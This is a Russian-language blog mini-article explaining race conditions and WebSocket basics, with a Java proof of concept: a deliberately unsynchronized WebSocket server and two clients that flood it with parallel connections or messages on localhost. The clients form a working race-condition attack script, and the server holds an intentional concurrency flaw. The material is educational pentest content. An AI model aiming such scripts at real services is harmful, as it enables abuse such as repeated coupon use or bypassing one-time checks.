Это мини-статья для ознакомления с атакой на Websocket. Для начала разберёмся, что такое Websocket шучу, это вы можете прочесть в прошлой статье "WebSocket. Краткий экскурс в пентест ping-pong протокола", но тут я только затрону основное. Нужно разобраться с другим - "Что такое Race condition(состояние гонки)?". Начнем именно с этого, но пока не больше основ, т.к. сейчас готовиться крупная статья по данной теме, думаю управиться за пару недель.
Приятного чтения
Помните, что использование полученных знаний и навыков должно быть ограничено законными и этическими рамками, и вмешательство в чужие сети без разрешения является неприемлемым и незаконным действием.
Оглавление
Что такое Race condition?
Race condition - это ситуация, при которой несколько потоков (или процессов) одновременно пытаются выполнить операции чтения или записи к общим ресурсам без должной синхронизации. Представить можно в формате очереди, один за одним.
Сложно? Я Вас понимаю, при разборе тем, всегда так, но представьте площадку наподобие Я.маркет, где присутствуют купоны на скидку в 10% «best10». Два потока могут одновременно запросить базу данных и подтвердить, что код скидки «best10» не был применен к корзине, затем оба попытаются применить скидку, в результате чего она будет применена дважды. Обратите внимание на то, что «гоночные» условия не ограничиваются конкретной архитектурой веб‑приложений. Проще всего рассуждать о многопоточном приложении с одной базой данных, но в более сложных системах состояние обычно хранится в еще большем количестве мест. Однопоточные системы, такие как NodeJS, чуть менее уязвимы, но все равно, есть вероятность возникновения подобных проблем.
Что такое Websocket?
WebSocket (веб-сокет) - это протокол для двусторонней связи между клиентом и сервером через веб-соединение. Он предоставляет возможность передавать данные в режиме реального времени без необходимости постоянного запроса к серверу. WebSocket обеспечивает более эффективное соединение и не такие накладные расходы на его организацию, чем традиционные методы - например, HTTP-запросы и ответы.
Протокол имеет две схемы URI:
ws: / host [: port] path [? query]
для обычных соединений.wss: / host [: port] path [? query]
для туннельных соединений TLS.
Вот основные характеристики и особенности WebSocket:
Установка соединения: WebSocket начинается с установки соединения через HTTP (обычно используется стандартный порт 80 или защищенный порт 443). После успешной установки соединения клиент и сервер могут обмениваться данными в реальном времени;
Двусторонняя связь: WebSocket поддерживает как отправку данных от клиента к серверу, так и от сервера к клиенту. Это позволяет строить интерактивные веб-приложения, где клиент и сервер могут обмениваться информацией без задержек;
Низкая задержка: WebSocket обеспечивает низкую задержку (лаг) по сравнению с традиционными методами долгого опроса (long polling) или периодическими запросами;
Протокол на основе кадров (frame-based protocol): Данные в WebSocket упаковываются в кадры (frames), что делает их эффективными для передачи и обработки;
Поддержка защиты (Security): WebSocket может использовать шифрование для обеспечения безопасности передаваемых данных, используя
wss://
вместоws://
в URL;Поддержка разных типов данных: WebSocket позволяет передавать различные типы данных, включая текст, бинарные данные и даже произвольные объекты;
Событийная модель: WebSocket использует событийную модель для обработки входящих данных. Это означает, что Вы можете реагировать на события, такие как открытие соединения, получение сообщения или закрытие соединения.
Пример использования WebSocket:
Установка соединения:
Клиент отправляет HTTP-запрос на сервер с заголовком "Upgrade: websocket".
Если сервер поддерживает WebSocket, он возвращает HTTP-ответ с заголовком
Upgrade: websocket
, и соединение переключается на WebSocket.
Обмен данными:
Клиент и сервер могут отправлять друг другу текстовые или бинарные кадры через установленное соединение.
Закрытие соединения:
Клиент или сервер могут закрыть соединение по желанию, отправив специальный кадр.
Для лучшего понимания, представьте настольный теннис. Сервер периодически присылает ответ по WS с просьбой о действии - послать запрос на сервер. Если клиент отвечает до истечения тайм-аута — он подключен, если нет, то происходит разрыв соединения до следующего рукопожатия. Как и говорилось в предисловии, вот ссылка на полною статью для глубокого изучения.
Демонстрация или доказательство концепции
Мне понравилось короткое исследование, которое я возьму за основу.
Для демонстрации этой концепции в данной статье приводится Java-код, представляющий собой WebSocket-сервер, взаимодействующий с базой данных PostgreSQL. Сервер использует библиотеку Java-WebSocket для обработки WebSocket-соединений и выполняет следующие задачи:
После запуска программы Java-код подключается к базе данных и проверяет, существует ли таблица "example". Если она не существует, то создается таблица и в нее вставляются произвольные данные:
RandomName0
RandomName1
...
RandomName9
Наиболее интересный код находится в функции "onMessage".
public static int a = 0;
@Override
public void onMessage(WebSocket conn, String message) {
if (a == 0) {
try {
int rowCount = getCountFromExampleTable();
} catch (SQLException e) {
System.out.println("Error executing query: " + e.getMessage());
}
conn.send("Echo: " + message);
a = a + 1;
System.out.println(a);
}
}
Имеется глобальная переменная "a
", инициализированная в 0. Когда клиент подключается к серверу и отправляет сообщение, он проверяет, что "id == 0
", указывая, была ли уже выполнена эта функция. Если нет, то выполняется простая SQL-команда для выбора количества строк из таблицы "example". Затем "a
" увеличивается на 1, и его значение выводится на печать. И теоретически функция не должна выполняться 2 раза.
Что касается клиента, то было создано два типа: "WebSocketParallel_Success"
package io.redrays.ws.concept.client;
import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
public class WebSocketParallel_Success {
public static void main(String[] args) {
// Определение URI сервера WebSocket
String serverUri = "ws://127.0.0.1:8080";
// Количество создаваемых WebSocket-клиентов
int numClients = 100;
// Создание ExecutorService для управления несколькими клиентскими потоками WebSocket
ExecutorService executor = Executors.newFixedThreadPool(numClients);
// Создание списка для хранения экземпляров клиентов WebSocket
List<WebSocketClient> clients = new ArrayList<>();
// Цикл для создания и настройки нескольких клиентов WebSocket
for (int i = 0; i < numClients; i++) {
int clientId = i + 1;
try {
// Создание WebSocket-клиент для каждого соединения
WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) {
@Override
public void onOpen(ServerHandshake handshakedata) {
// Обработка события открытия WebSocket-соединения
System.out.println("Client " + clientId + " connected to the WebSocket server");
this.send("Hello, WebSocket server! From client " + clientId);
}
@Override
public void onMessage(String message) {
// Обработка входящих сообщений WebSocket
System.out.println("Client " + clientId + " received message: " + message);
}
@Override
public void onClose(int code, String reason, boolean remote) {
// Обработка события закрытия WebSocket-соединения
System.out.println("Client " + clientId + " connection closed: " + reason);
}
@Override
public void onError(Exception ex) {
// Обработка ошибок WebSocket
System.out.println("Client " + clientId + " error occurred: " + ex.getMessage());
}
};
// Добавление WebSocket-клиента в список
clients.add(webSocketClient);
// Подключение клиента WebSocket в отдельном потоке
executor.submit(webSocketClient::connect);
} catch (URISyntaxException e) {
System.out.println("Invalid WebSocket server URI: " + e.getMessage());
}
}
// Выключение исполнителя после выполнения всех заданий
executor.shutdown();
// Ожидание завершения работы всех клиентских потоков WebSocket
try {
executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
} catch (InterruptedException e) {
System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage());
}
}
}
и "WebSocketParallel_Failed".
package io.redrays.ws.concept.client;
import org.java_websocket.client.WebSocketClient;
import org.java_websocket.handshake.ServerHandshake;
import java.net.URI;
import java.net.URISyntaxException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
public class WebSocketParallel_Failed {
public static void main(String[] args) {
String serverUri = "ws://127.0.0.1:8080"; // URI сервера WebSocket
int numParallelRequests = 285; // Количество параллельных WebSocket-запросов
try {
WebSocketClient webSocketClient = new WebSocketClient(new URI(serverUri)) {
// Этот метод вызывается при успешном открытии WebSocket-соединения
@Override
public void onOpen(ServerHandshake handshakedata) {
System.out.println("Connected to the WebSocket server");
// Создание фиксированного пула потоков для управления параллельными запросами
ExecutorService executor = Executors.newFixedThreadPool(numParallelRequests);
for (int i = 0; i < numParallelRequests; i++) {
int messageId = i + 1;
executor.submit(() -> {
this.send("Hello, WebSocket server! Message ID: " + messageId);
System.out.println("Sent message with ID: " + messageId);
});
}
// Выключение исполнителя после выполнения всех заданий
executor.shutdown();
// Ожидание завершения выполнения заданий
try {
executor.awaitTermination(Long.MAX_VALUE, TimeUnit.NANOSECONDS);
} catch (InterruptedException e) {
System.out.println("Interrupted while waiting for tasks to complete: " + e.getMessage());
}
}
// Этот метод вызывается при получении сообщения WebSocket.
@Override
public void onMessage(String message) {
System.out.println("Received message: " + message);
}
// Этот метод вызывается при закрытии WebSocket-соединения.
@Override
public void onClose(int code, String reason, boolean remote) {
System.out.println("Connection closed: " + reason);
}
// Этот метод вызывается при возникновении ошибки в соединении WebSocket
@Override
public void onError(Exception ex) {
System.out.println("Error occurred: " + ex.getMessage());
}
};
// Подключение к серверу WebSocket
webSocketClient.connect();
} catch (URISyntaxException e) {
System.out.println("Invalid WebSocket server URI: " + e.getMessage());
}
}
}
Были предприняты попытки создать состояние гонки двумя различными методами. В первом файле параллельно создается несколько соединений, и данные отправляются на сервер, а во втором - устанавливается только одно соединение, но данные отправляются последовательно друг за другом.
Как видно из названий классов, при параллельном создании нескольких соединений и отправке данных возникнет состояние гонки. Однако во втором случае оно не возникнет, поскольку WebSockets передают данные последовательно в одном соединении.
Как видно из приведенного ниже скриншота и видео, условия гонки могут возникать.
Заключение
Сегодня Я и автор исследования попытались дать новые знания Вам - читателям блога. В перерывах между крупными исследованиями и написанием статей, постараюсь Вас радовать подобными мини-статьями.
Спасибо за внимание ^-^
P.S. Больше подобной информации и хороших мемов Вы сможете найти тут